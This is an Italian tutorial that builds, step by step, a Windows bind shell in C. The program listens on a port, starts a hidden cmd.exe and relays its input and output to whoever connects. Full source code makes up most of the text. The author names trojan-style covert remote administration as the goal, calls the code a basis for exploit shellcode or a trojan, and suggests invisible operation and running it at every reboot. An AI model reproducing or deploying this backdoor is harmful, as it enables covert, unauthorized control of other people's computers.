1. Conoscenza linguaggio C
  2. Conoscenza programmazione API Windows (http://www.aleax.it)
  3. Conoscenza programmazione di rete (tutorial sulla programmazione del winsock)

INTRODUZIONE

Ma che cosa è questa shell?
La shell è quel programma che ci permette di eseguire diverse operazioni sul nostro computer tramite "riga di comando", ossia inserendo dei comandi senza il supporto grafico. Tramite shell è possibile eseguire diverse operazioni, a seconda dei privilegi di cui disponiamo nel computer (in Windows 98 - Windows Me non esiste il discorso dei privilegi e quindi si può eseguire qualsiasi operazione).
Aprire una shell è semplicissimo, basta andare sul menu Start, cliccare su esegui e scrivere "cmd" se il sistema operativo in uso è Windows NT, 2000 o Xp (file c:\windows\system32\cmd.exe), altrimenti scrivere "command" se il S.O. è Windows 95, 98 o Me (c:\windows\command.com).
La shell è uno strumento diffuso nell' ambito della (in)sicurezza informatica, spesso aprirne una è il fine degli exploit che sfruttano le vulnerabilità nel codice dei programmi, oppure viene utilizzata per amministrare a distanza un computer (ciò che viene fatto all'insaputa degli utenti dai trojan).

Il nostro fine è esattamente quest' ultimo,ossia creare una shell e associarla ad una porta, riuscendo così, connettendoci alla porta di un pc remoto, ad amministrarlo.
Per raggiungere questo obiettivo dovremo procedere attraverso due fasi.

FASE 1: CREARE UNA SHELL

Partiamo creando un semplicissimo programma che crea una shell. Scrivere un programma che crea da zero un prompt dei comandi sarebbe troppo lungo e difficile (e non avrebbe neanche senso..), quindi basta creare un processo che esegue il file predefinito di shell "cmd.exe" o "command.com". Ecco il codice:

#include <stdio.h>
#include <windows.h>
#define SHELL_NAME "cmd\0"

Inserisco le solite #include delle librerie da utilizzare, e definisco una costante SHELL_NAME che identifica il nome del comando da utilizzare per avviare la shell.(Ricordo che il carattere \0 finale è soltanto il terminatore di stringa)
In questo programma il prompt dei comandi che verrà eseguito è "cmd.exe" del sistema operativo Windows NT, 2000, Xp, quindi se dovete lavorare con Windows 98 o Windows Me dovete sostituire la #define precedente con:

#define SHELL_NAME "command\0"

int main(int argc, char **argv){

      STARTUPINFO si;
      PROCESS_INFORMATION pi;

Queste sono le due variabili di cui avremo bisogno:
La prima variabile, si, è una variabile di tipo STARTUPINFO, che è una struttura definita nel file "windows.h":

typedef struct _STARTUPINFO {      // si
      DWORD cb;      //specifica la dimensione in bytes della struttra
      LPTSTR lpReserved;
      LPTSTR lpDesktop;
      LPTSTR lpTitle;      //specifica il titolo della finestra
      DWORD dwX;      //specifica la posizione della finestra
      DWORD dwY;      //specifica la posizione della finestra
      DWORD dwXSize;      //specifica la dimensione della finestra
      DWORD dwYSize;      //specifica la dimensione della finestra
      DWORD dwXCountChars;
      DWORD dwYCountChars;
      DWORD dwFillAttribute;
      DWORD dwFlags;      //specifica quali campi della struttra ignorare e quali utilizzare
      WORD wShowWindow;
      WORD cbReserved2;
      LPBYTE lpReserved2;
      HANDLE hStdInput;      //specifica lo standard input della finestra
      HANDLE hStdOutput;      //specifica lo standard output della finestra
      HANDLE hStdError;      //specifica lo standard error della finestra
} STARTUPINFO, *LPSTARTUPINFO;

Questa struttura deve essere riempita con tutte le informazioni necessarie alla creazione della nuova finestra in cui verrà eseguita la nostra shell, poi sarà passata come parametro alla funzione di creazione della shell.
La seconda variabile, pi, di tipo PROCESS_INFORMATION è anch' essa una struttura con informazioni riguardanti il nuovo processo creato, che non viene inizializzata dal programmatore, ma direttamente dalla funzione di creazione della nostra shell.

      memset((void *) &si, 0, sizeof(si));
      memset((void *) π, 0, sizeof(pi));

      si.cb = sizeof(si);

In questo programma di esempio non ho bisogno di specificare le caratteristiche della finestra della shell, quindi inizializzo tutti i campi delle strutture a zero, tramite la funzione memset(), l'unico campo della struct che devo obbligatoriamente fornire alla funzione è quello della dimensione della struct stessa (si.cb = spazio occupato dalla struct si).

      if (!CreateProcess(NULL, SHELL_NAME, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, π))
            printf("CreateProcess %d", GetLastError());

      return 0;
}

L'ultima istruzione è una chiamata alla funzione di Windows CreateProcess(), questa funzione crea un processo eseguendo un file passato come paramatro ("cmd.exe" in questo caso). Il processo che ha chiamato questa funzione diventa il "processo padre", mentre il nuovo processo creato diventa "processo figlio". Ecco la definizione della funzione:

BOOL CreateProcess(
      LPCTSTR lpApplicationName,      // puntatore al nome del file da eseguire
      LPTSTR lpCommandLine,      // puntatore alla riga di comando da eseguire
      LPSECURITY_ATTRIBUTES lpProcessAttributes,      // puntatore ad una struttura di attributi di sicurezza per il processo
      LPSECURITY_ATTRIBUTES lpThreadAttributes,      // puntatore ad una struttura di attributi di sicurezza per i threads
      BOOL bInheritHandles,      // indica se il processo figlio erediterà gli handle del processo padre
      DWORD dwCreationFlags,      // ulteriori attributi del processo
      LPVOID lpEnvironment,      // puntatore ad un nuovo ambiente (stack, variabili...)
      LPCTSTR lpCurrentDirectory,      // puntatore alla directory corrente
      LPSTARTUPINFO lpStartupInfo,      // puntatore alla struct STARTUPINFO
      LPPROCESS_INFORMATION lpProcessInformation      // puntatore alla struct PROCESS_INFORMATION
      );

Nel programmma ho passato come paramatri soltanto la riga di comando (SHELL_NAME), un FALSE per indicare che il nuovo processo non potrà ereditare gli handle del processo padre(che sono dei tipi di variabile che non abbiamo creato nel nostro programma), il flag CREATE_NEW_CONSOLE, che dice al sistema operativo di creare una nuova finestra per il processo figlio, infine ho passato le due strutture che ho creato in precedenza (si e pi). Tutti gli altri parametri sono passati come NULL.

Compilando ed eseguendo il file "Shell.c" potete vedere il programma qui descritto che crea un "clone" della shell predefinita di Windows che potrete usare esattamente come il vero prompt dei comandi.

FASE 2: ASSOCIARE LA SHELL AD UNA PORTA

La seconda fase è quella di associare la shell appena creata ad una porta, per fare ciò abbiamo bisogno di:

Per risolvere il primo punto possiamo semplicemente utilizzare le Winsock per aprire una porta, implementando un server che attende connessioni. Per il secondo punto abbiamo invece bisogno di utilizzare un oggetto predefinito del sistema operativo: la pipe. la pipe è un canale di comunicazione con doppio accesso, solitamente utilizzato per la comunicazione tra processi: un processo che possiede un handle (un capo) di questo canale può comunicare con il processo che possiede l'altro capo (ossia l'handle corrispondente). Un esempio:

PROCESSO A handle---------->-----pipe----->----------handle PROCESSO B
PROCESSO A handle----------<-----pipe-----<----------handle PROCESSO B

L'utilizzo della pipe avviene in questo modo:

In questo caso il processo padre invia informazioni al processo filgio, ma si può effettuare anche la strada inversa, creando un' altra pipe.
Nel nostro caso il canale dovrà funzionare in questo modo:

Output dalla socket---------->-----pipe----->----------Input per la shell
Input dalla shell---------->-----pipe----->----------output per la socket

Ora che sappiamo utilizzare la pipe possiamo creare il nostro programma:

#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#define MAXBUFFER 1024
#define SHELL_NAME "cmd\0"
HANDLE InputRead, InputWrite, OutputRead, OutputWrite;
SOCKET sock,sendrecv;
BOOL uscita;

Dopo le solite #include definisco prima una costante che mi indica il massimo numero di bytes che leggerò dagli handle, poi quale sarà il comando che farò eseguire al processo figlio. ("cmd.exe" ossia la shell di Windows NT, 2000 e Xp).
Creo inoltre quattro handle (li ho creati fuori dal main() per utilizzarli come variabili globali in tutte le funzioni), che rappresenteranno i due capi di due pipe (un pipe di input ed uno di output), creo due variabili di tipo socket per aprire una porta ed inviare e ricevere le informazioni e creo una variabile per gestire l'uscita dal programma.

DWORD WINAPI Output(LPVOID data);
DWORD WINAPI Input(LPVOID data);

Questi sono i prototipi delle due funzioni che utilizzeremo per la lettura e scrittura sugli handle, hanno questa forma, in quanto queste due funzioni diventeranno due thread. Un thread è una parte di un processo che in modo indipendente esegue delle istruzioni. Utilizzando i thread riusciremo così a leggere e a scrivere contemporaneamente l'input e l'output della shell in modo indipendente uno dall' altro.

int main(int argc, char **argv){

      struct sockaddr_in sock_addr,sendrecv_addr;
      WSADATA data;
      WORD p;
      int len(char *);
      p=MAKEWORD(2,0);
      WSAStartup(p,&data);

Le classiche variabili da creare per utilizzare il Winsock.

      if (argc!=2){
            printf("\nRemote Shell\n\nUso: %s \n",argv[0]);
            exit(0);
      }

Queste istruzioni servono semplicemente per segnalare un errore se il programma viene fatto partire senza inserire il numero della porta alla quale si dovrà associare la shell.

      sock=socket(PF_INET,SOCK_STREAM,0);
      sock_addr.sin_family=PF_INET;
      sock_addr.sin_port=htons(atoi(argv[1]));
      sock_addr.sin_addr.s_addr=INADDR_ANY;
      bind(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr_in));
      listen(sock,1);
      int lun=sizeof (struct sockaddr);
      sendrecv=accept(sock,(struct sockaddr*)&sendrecv_addr,&lun);

Inizializzo la socket e mi metto in attesa di una connessione sulla porta

      SECURITY_ATTRIBUTES sa;
      STARTUPINFO si;
      PROCESS_INFORMATION pi;
      DWORD threadIdOut, threadIdIn;

Ora invece inizializzo le variabili per la pipe e per il processo figlio, oltre alle già note STARTUPINFO e PROCESS_INFORMATION devo anche utilizzare una nuova struttura SECURITY_ATTRIBUTES, a cui dovrò assegnare gli attributi per l'utilizzo della pipe.
La struct SECURITY_ATTRIBUTES è fatta così:

typedef struct _SECURITY_ATTRIBUTES {      // sa
      DWORD nLength;      // specifica la dimensione in bytes della struct
      LPVOID lpSecurityDescriptor;      //puntatore ad una struttura SECURITY_DESCRIPTOR
      BOOL bInheritHandle;      //specifica se l'handle che verrà creato potrà essere ereditato dai processi figli
} SECURITY_ATTRIBUTES;

      sa.nLength = sizeof(SECURITY_ATTRIBUTES);
      sa.bInheritHandle = TRUE;
      sa.lpSecurityDescriptor = NULL;

Inserisco i valori nella struttura SECURITY_ATTRIBUTES, permetto l'ereditarietà degli handle che verranno creati attraverso questa struttura, inoltre lascio a NULL la struct SECURITY_DESCRIPTOR, utilizzando così quella di default del processo.

      if(!CreatePipe(&OutputRead, &OutputWrite, &sa, 0))
            printf("CreatePipe %d", GetLastError());

      if(!CreatePipe(&InputRead, &InputWrite, &sa, 0))
            printf("CreatePipe %d", GetLastError());

Queste due chiamate di funzione mi permettono di creare due pipe (una per l'input ed una per l'output), la funzione CreatePipe() ha bisogno di questi parametri:

BOOL CreatePipe(

      PHANDLE hReadPipe,      // indirizzo dell' handle di lettura
      PHANDLE hWritePipe,      // indirizzo dell' handle di scrittura
      LPSECURITY_ATTRIBUTES lpPipeAttributes,      // puntatore ad una struct SECURITY_ATTRIBUTES
      DWORD nSize      // numero di bytes riservati per il pipe
);

L'handle InputWrite è quello su cui scrivere ciò che ricevo dalla socket (i comandi di input per la shell), InputRead verrà utilizzato dalla nostra shell per leggere i comandi (lo standard input della nostra shell), OutputWrite è l'handle su cui la shell inserirsce tutti gli output (i risultati dei comandi eseguiti) ed OutputRead conterrà l'output della shell che verrà inviato dalla socket.

Input dalla socket -> InputWrite ---------->-----pipe----->---------- InputRead -> Input per la shell
output della shell -> OutputWrite ---------->-----pipe----->---------- OutputRead -> output per la socket

      memset((void *) &si, 0, sizeof(si));
      memset((void *) π, 0, sizeof(pi));

      si.cb = sizeof(si);
      si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;

      si.wShowWindow = SW_HIDE;
      si.hStdInput = InputRead;
      si.hStdOutput = OutputWrite;
      si.hStdError = OutputWrite;

Inizializzo a zero tutti i campi delle struct STARTUPINFO e PROCESS_INFORMATION, poi inserisco solo i campi di cui ho bisogno:

      if (!CreateProcess(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, &si, π))
            printf("CreateProcess %d", GetLastError());

      CloseHandle(OutputWrite);
      CloseHandle(InputRead);

Creo il processo su cui verrà eseguita la shell, ricordandomi di settare a TRUE il flag che permette al processo figlio di ereditare gli handle del processo padre.
Una volta creato il processo devo chiudere gli handle che sta utilizzando il processo figlio, perché il loro utilizzo deve essere esclusivo della shell.

      if (!CreateThread(NULL, 0, Output, NULL, 0, &threadIdOut))
            printf("CreateThread %d", GetLastError());
      if (!CreateThread(NULL, 0, Input, NULL, 0, &threadIdIn))
            printf("CreateThread %d", GetLastError());

Una volta che ho creato il processo posso creare i due threads che direzionano sulla pipe e sulla socket i dati.
Per creare un thread si usa la funzione CreateThread() con questi parametri:

HANDLE CreateThread(

      LPSECURITY_ATTRIBUTES lpThreadAttributes,      // puntatore alla struct SECURITY_ATTRIBUTES del thread
      DWORD dwStackSize,      // Dimensione iniziale dello stack del thread
      LPTHREAD_START_ROUTINE lpStartAddress,      // puntatore alla funzione che rappresenta il thread
      LPVOID lpParameter,      // parametri per il thread
      DWORD dwCreationFlags,      // attributi del thread
      LPDWORD lpThreadId      // puntatore ad un identificatore del thread
      );

Gli unici parametri che assegno al thread sono i nomi delle due funzioni (Input e Output) e i puntatori ad un numero identificativo del thread che verrà assegnato dal sistema operativo.

      uscita=FALSE;
      while(uscita!=TRUE)
            Sleep(100);

      closesocket (sock);
      closesocket(sendrecv);
      WSACleanup();
      return 0;
}

Il programma cicla sull'istruzione Sleep(100) fino a quando la variabile uscita è diversa da 1, questo ciclo è utile in quanto se il processo principale finisse, terminerebbero anche i threads che ho creato.
Una volta verificata la condizione di uscita si possono chiudere tutte le socket, gli handle aperti e liberare le librerie utilizzate.

DWORD WINAPI Output(LPVOID data){
      char buffer[MAXBUFFER];
      DWORD bytes;

      do{
            ReadFile(OutputRead, &buffer, MAXBUFFER, &bytes, NULL);
            buffer[bytes]=0;
            if (bytes>0)
                  send(sendrecv, buffer, bytes, 0);
            else
                  uscita=TRUE;
            Sleep(100);
      }
      while(TRUE);

      return 0;
}

La funzione Output, che diventerà un thread, ha il compito di legggere dall' handle OutputRead, questa operazione viene fatta tramite la funzione ReadFile(), infatti la lettura e la scrittura su una pipe è uguale a quella che viene eseguita su di un file.

BOOL ReadFile(
      HANDLE hFile,      // handle del pipe da leggere
      LPVOID lpBuffer,      // indirizzo del buffer che riceve i dati
      DWORD nNumberOfBytesToRead,      // numero di bytes da leggere
      LPDWORD lpNumberOfBytesRead,      // numero di bytes letti (valore inserito dal sistema operativo)
      LPOVERLAPPED lpOverlapped      // indirizzo di una struttura OVERLAPPED
      );

Una volta letti i byte dall' handle la funzione li spedisce alla socket.
Questa funzione permette anche di controllare l'uscita dal programma, infatti una volta digitato il comando "exit" il processo della shell terminerà e la funzione readFile() non troverà più l'handle su cui scrivere e quindi leggerà 0 bytes innestando così la condizione di uscita.

DWORD WINAPI Input(LPVOID data){
      char buffer[MAXBUFFER];
      DWORD bytes;

      do{
            bytes=recv(sendrecv, buffer, MAXBUFFER, 0);
            buffer[bytes]=0;
            WriteFile(InputWrite, &buffer, strlen(buffer), &bytes, NULL);
            Sleep(100);
      }
      while(TRUE);

      return 0; }

La funzione Input, che diventerà anch'essa un thread, esegue il lavoro opposto della Output, ricevendo i dati in arrivo dalla socket e scrivendoli sull'handle InputWrite tramite la funzione WriteFile().

BOOL WriteFile(
      HANDLE hFile,      // handle del pipe da scrivere
      LPVOID lpBuffer,      // indirizzo del buffer che contiene i dati
      DWORD nNumberOfBytesToRead,      // numero di bytes da scrivere
      LPDWORD lpNumberOfBytesRead,      // numero di bytes scritti (vlaore inserito dal sistema operativo)
      LPOVERLAPPED lpOverlapped      // indirizzo di una struttura OVERLAPPED
      );

CONCLUSIONI

Il programma proposto è la base per scrivere uno shellcode per exploit, oppure un trojan per amministrare macchine da remoto. Questo programma è compilabile sia come applicazione console, sia come applicazione Windows, se eseguito come applicazione Windows lavora in modo invisbile all'utente. (Il processo viene comunque inserito nella lista dei processi e la porta aperta viene segnalata se viene usato il comando "netstat").
Questo programma è comunque molto migliorabile, infatti esso accetta una sola connessione e poi termina; si può facilmente implementare (creando processi figli) un server che accetti più connessioni, oppure che non termini mai e ricominci ogni volta viene chiusa una connessione, o ancora che venga eseguito ad ogni riavvio...

SEMPLIFICAZIONE NELLA VERSIONE 2.0

La versione 2.0 del Winsock ha portato ad una notevole semplificazione nella creazione di una shell remota, infatti è ora possibile associare standard input, standard output e standard error direttamente alla socket senza dover utilizzare la pipe come intermediario.
Questo è possibile utilizzando la funzione WSASocket(), che crea una socket a cui è possibile associare direttamente l' input e l' output della nostra shell.
Questa è la definizione della nuova funzione:

int WSASocket(int af, int type, int protocol, LPWSAPROTOCOL_INFO lpProtocolInfo, GROUP g, DWORD dwFlags);
      af: specifica la famiglia della socket (AF_INET, PF_INET)
      type: tipo di socket (SOCK_STREAM, SOCK_DGRAM...)
      prot: protocollo da utilizzare all' interno della famiglia (solitamente questo parametro è 0)
      lpProtocolInfo: puntatore ad una struttura che definisce alcune particolari caratteristiche del protocollo utilizzato
      g: riservato
      dwFlags: serie di bit che specificano particolari attributi della socket

Come avrete già notato i primi tre parametri sono gli stessi della funzione socket(), mentre gli altri tre sono nuovi, ma sono parametri di cui non abbiamo bisogno e che quindi setteremo a zero.


By DaBaSaro